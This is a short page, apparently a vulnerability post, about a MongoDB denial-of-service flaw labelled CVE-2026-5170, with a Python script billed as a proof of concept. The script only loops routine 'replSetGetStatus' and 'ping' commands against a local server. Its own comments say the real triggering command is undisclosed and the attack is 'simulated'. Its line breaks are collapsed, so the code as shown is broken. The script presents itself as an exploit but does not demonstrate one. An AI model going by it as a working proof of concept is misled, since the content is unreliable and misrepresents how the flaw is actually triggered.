CVE-2026-5170 MongoDB拒绝服务漏洞

import pymongo import time import sys # PoC for CVE-2026-5170 # This script demonstrates the theoretical attack scenario where a low-privilege user # triggers a crash during the promotion window. TARGET_HOST = "mongodb://localhost:27017" USERNAME = "limited_user" PASSWORD = "password" def trigger_crash(): try: client = pymongo.MongoClient(TARGET_HOST, username=USERNAME, password=PASSWORD) db = client["admin"] print("[+] Connected to MongoDB target.") print("[!] Waiting for cluster promotion window (Replica Set -> Sharded Cluster)...") # In a real scenario, the attacker monitors the cluster state. # When the promotion starts, the attacker sends specific commands. # Since the exact command is not disclosed, we simulate a rapid command execution. for i in range(100): # Simulating operation that might conflict with promotion state try: # Hypothetical command that triggers the race condition db.command('replSetGetStatus') db.command('ping') except Exception as e: print(f"Command failed (expected during crash): {e}") break time.sleep(0.1) print("[+] Attempting to trigger vulnerability during promotion...") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": trigger_crash()